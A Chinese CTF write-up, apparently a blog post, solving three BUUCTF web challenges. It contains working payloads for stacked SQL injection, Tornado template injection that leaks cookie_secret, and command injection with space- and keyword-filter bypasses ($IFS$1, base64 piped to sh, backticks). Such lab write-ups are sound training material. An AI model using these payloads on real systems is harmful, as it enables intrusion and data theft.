BUUCTF部分web题解(easysql,easy_tornado,Ping Ping Ping)

easysql

经过测试,发现过滤了很多东西,但有堆叠注入

在这里插入图片描述

查询语句大概是

select $_GET['query'] || flag from flag

别问我是怎么知道的,问就是看的wp

构造payload:*,1,得到select *,1 || flag from flag,即可查出表中的内容
在这里插入图片描述

还可以用另一种解法:通过堆叠注入,设置sql_mode的值为PIPES_AS_CONCAT,从而将||视为字符串的连接操作符而非或运算符。

1;set sql_mode=PIPES_AS_CONCAT;select 1

得到select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from flag

拓展

在这里插入图片描述
在这里插入图片描述
1 || name被看成了一个整体,上述语句相当于:select A,B from guestbook,由于*代表查询所有内容,故能回显出整个表的内容

@@sql_mode:是一组mysql支持的基本语法及校验规则

select @@sql_mode;	//查看sql_mode
select @@global.sql_mode;	//查看全局sql_mode
select @@session.sql_mode;	//查看当前会话sql_mode

在这里插入图片描述
在这里插入图片描述
语句select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || name from guestbook;有三个部分,select 1;就不用说了,set sql_mode=PIPES_AS_CONCAT;设置sql_mode的值为PIPES_AS_CONCAT,使||变成字符串的连接操作符,最后才能使得select 1 || name from guestbook;能查询成功

easy_tornado

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
三个文件说明了flag在/fllllllllllllag里,filehash=md5(cookie_secret+md5(filename)),现在可以构造:filename=/fllllllllllllag&filehash=?,现在只有知道cookie_secret就可以构造出完整的payload

payload如果没有构造filehash的值就会跳转到一个报错界面在这里插入图片描述
经搜索发现render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

测试后发现报错界面存在服务端模板注入攻击 (SSTI),
尝试输入?msg={{1+1}},发现不存在运算

之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,输入?msg={{handler.settings}}

在这里插入图片描述
然后根据公式:filehash=md5(cookie_secret+md5(filename))构造出:?filename=/fllllllllllllag&filehash=b3dd1774657e49becaf9ed92fcd18eda
在这里插入图片描述

Ping Ping Ping

命令执行,;或管道符(|)分割批量执行命令
在这里插入图片描述
在这里插入图片描述
用cat查看一下flag.php,发现过滤了空格

以下几种方法可以替换空格:

${IFS}
${IFS}$1
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能

不过这里很多东西都被过滤了,还好$IFS$1可以替换成功,但是flag字眼也被过滤了,先查看一下index.php的源码
在这里插入图片描述
这时过滤了什么一眼就可以看出来了,preg_match("/.*f.*l.*a.*g.*/", $ip)匹配一个字符串中,是否按顺序出现过flag四个字母

payload1:拼接命令

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在这里插入图片描述
payload2:base64编码绕过

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64编码
|base64 -d:对前面的字符串进行base64解密
|sh:把左边的命令交给sh去执行

payload3:内联执行

?ip=127.0.0.1;cat$IFS$1`ls`

将反引号内命令的输出作为输入执行,这样也可以查看flag.php的内容

拓展

管道符

Linux和windows通用的管道符

cmd1 | cmd2 只执行cmd2

cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行

cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2

cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

在这里插入图片描述
linux还有一个;管道符,作用和&一样

空格过滤

1、${IFS}

${IFS}
${IFS}$1
$IFS$1

在这里插入图片描述
2、重定向符<>
在这里插入图片描述
黑名单过滤

1、拼接
在这里插入图片描述

2、base64编码
在这里插入图片描述

|base64 -d:对前面的字符串进行base64解密
|bash:把左边的输出交给bash去执行
|sh:与bash相似

3、单双引号,反斜杠\,$1$2$@
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值